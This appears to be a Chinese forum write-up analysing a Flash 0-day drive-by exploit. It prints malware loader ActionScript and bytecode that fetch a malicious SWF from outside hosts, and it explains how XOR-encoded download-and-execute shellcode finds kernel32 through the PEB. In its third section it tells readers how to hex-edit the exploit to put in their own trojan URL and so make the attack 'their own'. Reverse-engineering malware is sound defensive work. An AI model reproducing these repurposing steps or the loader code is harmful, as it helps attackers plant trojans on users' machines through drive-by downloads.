FLASH 0DAY 詳細(xì)分析和總結(jié)圖文
(一)作為研究的初步,通過TIM的幫助,我從幾個被掛馬的頁面得到2個SWF網(wǎng)馬.反編譯后得知這兩個SWF在獲得本地FLASH插件版本后,會再次下載2個真正具備溢出并且下載病毒到本地執(zhí)行能力的惡意SWF文件.其驗證和下載SWF文件的詳細(xì)代碼可見如下:
var fVersion = getVersion();
loadMovie(”http://bao.5bao.net/123/” + fVersion + “i.swf”, _root);
stop ();
————————————此處獲得了本地的FLASH版本.————————————-
說明:加載外部文件命令loadMovie()可以在播放 SWF 文件的同時,將外部的 SWF 文件或 JPEG 文件加載到 Flash Player 中,使您可以同時顯示幾個 SWF 文件,或者在幾個SWF 文件之間切換[local]1[/local]
1、loadMovie(”url”,target [, method])
“url” :要加載的 SWF 文件或 JPEG 文件的絕對路徑或相對路徑。
使用相對路徑一般應(yīng)將播放的.swf文件與要加載的.swf文件放在同一文件夾中。絕對 路徑必須有詳細(xì)的路徑地址。
target:目標(biāo)影片剪輯(mc元件)的名稱和路徑。目標(biāo)影片剪輯將替換為加載的 SWF 文件或圖像。
method 可選參數(shù),一般可以不選。
_constantPool “fVersion” “/:$version” “http://xioayang,com/123/” “c.swf” “_root”
_push “fVersion” “/:$version”
_getVariable
_var
_push “http://xioayang,com/123/” “fVersion”
_getVariable
_add2
_push “c.swf”
_add2
_push “_root”
_getVariable
_getURL2 flag 64
_stop
_end
————————-獲得版本后,構(gòu)成下載地址,下載真正的兇手SWF.———————
Action in Frame 1這個動作就同時打開了C.swf并push in root了.
根據(jù)上面,我下載了相應(yīng)的”WIN%209,0,45,0ie.swf”保存到本地,至此我們總共得到了4個樣本SWF,其中2個溢出的主SWF.總算有了可供對比分析文件的資本了.
(二)反編譯溢出主體SWF后,我們從FLA中看到了這個SWF包括3個標(biāo)簽,1個動作,1個圖片元素,1個偵.
通過2進(jìn)制對比我們的兩個樣本,發(fā)現(xiàn)具有可疑性的分別是圖片元素和那個偵.邪惡八進(jìn)制那里的研究認(rèn)為是圖片部分.并且最終鎖定了圖片中的一段代碼.不過無 論圖片或者那個偵在16進(jìn)下均為亂碼.通過幾個常用的SHELLCODE加密技術(shù),我仍然無法還原出有用的信息..前幾天我就是從這里開始失去方向的.部 分代碼截圖可見:
(三)經(jīng)過這幾天的思考和對0DAY原理的多次構(gòu)想,我們確定,這個FLASH0DAY原理 是讓用戶瀏覽該SWF文件,如果用戶的FLASH插件版本等于或者低于115,那么就會下載并且運(yùn)行惡意的SWF.產(chǎn)生溢出,溢出后,會按照小黑給你準(zhǔn)備 好的木馬地址執(zhí)行下載+執(zhí)行的操作,那么這個木馬地址本身,必然存在于這個可以溢出的SWF之中.我們之所以16進(jìn)找不到這個代碼的所在地,是因為 SHELLCODE被加密了.那么怎么找到這個位置和判別加密方式呢?這里我們采用逆向工程.Reverse Engineering”,譯成中文就是”逆向工程”.我使用了TRW,Soft-Ice和W32Dasm通過不斷的重要地址斷點,不斷的匯編調(diào)試,分析 消息響應(yīng)函數(shù),終于把SHELLCODE鎖定在了這里:16進(jìn)制打開主溢出SWF
留意值為62處.從這里開始,出現(xiàn)木馬地址.在改木馬地址之前,把這里值改為51.
然后找到:
這部份修改為你的馬的地址.
譬如:
至此,你已經(jīng)成功的把這馬變成了自己的了.
(四)我們繼續(xù)探討這個SHELLCODE的加密原理…這也是我們找不到,只能靠逆向來逐步推的攔路石了.OPEN說這是這個SHELLCODE是由之前迅雷0day的shellcode一樣的xor加密方式加密的.
以下引用部分XOR的加密和解密原理:
shellcode要在別人的計算機(jī)里正常運(yùn)行,需要注意的關(guān)鍵:
1. 所有shellcode都難以保證自己的代碼被加載到哪個內(nèi)存地址。shellcode要運(yùn)轉(zhuǎn),特別是要讀取自身代碼里的數(shù)據(jù)(如病毒URL地址,要調(diào)用的函數(shù)名等常量和變量),就必須要自我定位,即獲取自身在內(nèi)存中的虛擬地址。
一般來說,只要在執(zhí)行shellcode過程中,能獲取到程序當(dāng)前的入口點EIP值,就能以此定位自己的代碼。但是EIP值是不能直接用mov等方法獲取的。為此,shellcode編寫者利用了一個典型的辦法,你在下面的shellcode中將會看到。
2.shellcode必須在所在進(jìn)程的空間里,調(diào)用系統(tǒng)API函數(shù),來完成遠(yuǎn)程下載文件并運(yùn)行的目的。那么,怎么獲取函數(shù)地址?這也就是遠(yuǎn)程注入代碼的又一關(guān)鍵:函數(shù)地址重定位問題。
只要API所在的dll被進(jìn)程所加載,就可以通過由kernel32.dll導(dǎo)出的GetProcAddress來得到函數(shù)地址,進(jìn)而Call之。但是,GetProcAddress本身也是一個函數(shù),我們首先要得到它的地址啊!看起來好像進(jìn)入死循環(huán)了。
既然如此,shellcode作者就必須模擬程序加載dll的方式,為自己的shellcode代碼創(chuàng)建一個類似的“輸入表”。要得到 kernel32.dll中的GetProcAddress函數(shù)的地址,也就要讀取kernel32.dll的輸出表。那么,問題變成了如何定位 kernel32.dll的輸出表。
問題轉(zhuǎn)變成了一個PE文件結(jié)構(gòu)讀取的問題。只要得到kernel32.dll在進(jìn)程虛擬空間中的基址(DOS文件頭,即MZ的位置),就可以在03CH偏移處讀到PE文件頭(”;PE”字樣地址)相對這個DOS文件頭的偏移,并計算出PE文件頭地址。PE文件頭結(jié)構(gòu)中的78H處,就是輸出表的地址了。通過檢索輸出表,就可以得到GetProcAddress函數(shù)的地址的偏移量,進(jìn)一步變?yōu)樵谔摂M空間中的入口點地址。
問題逐層深入,變成怎么得到“kernel32.dll文件在進(jìn)程空間中的基址”。硬編碼?那你干脆連函數(shù)地址都硬編碼,不是更省?!shellcode作者們有更好的作法。
講到dll的基址,一個結(jié)構(gòu)呼之欲出了——
PEB!fs:[0x30]!
關(guān)于爭對這個FLASH0DAY如何破解XOR加密SHELLCODE的方式,我還沒有完全總結(jié)完我的操作.總結(jié)完了我再補(bǔ)充進(jìn)來.這里先列出兩篇文章供大家參考:
http://bbs.pediy.com/showthread.php?t=46068
http://hi.baidu.com/yicong2007/blog/item/d8355616879b964921a4e9e8.html
相關(guān)文章
河南移動網(wǎng)絡(luò)客服系統(tǒng)驗證碼的缺陷分析和利用!
河南移動網(wǎng)絡(luò)客服系統(tǒng)驗證碼的缺陷分析和利用!...2007-01-01google hack dat 又增加的一些比較新的數(shù)據(jù)
google hack dat 又增加的一些比較新的數(shù)據(jù)2007-01-01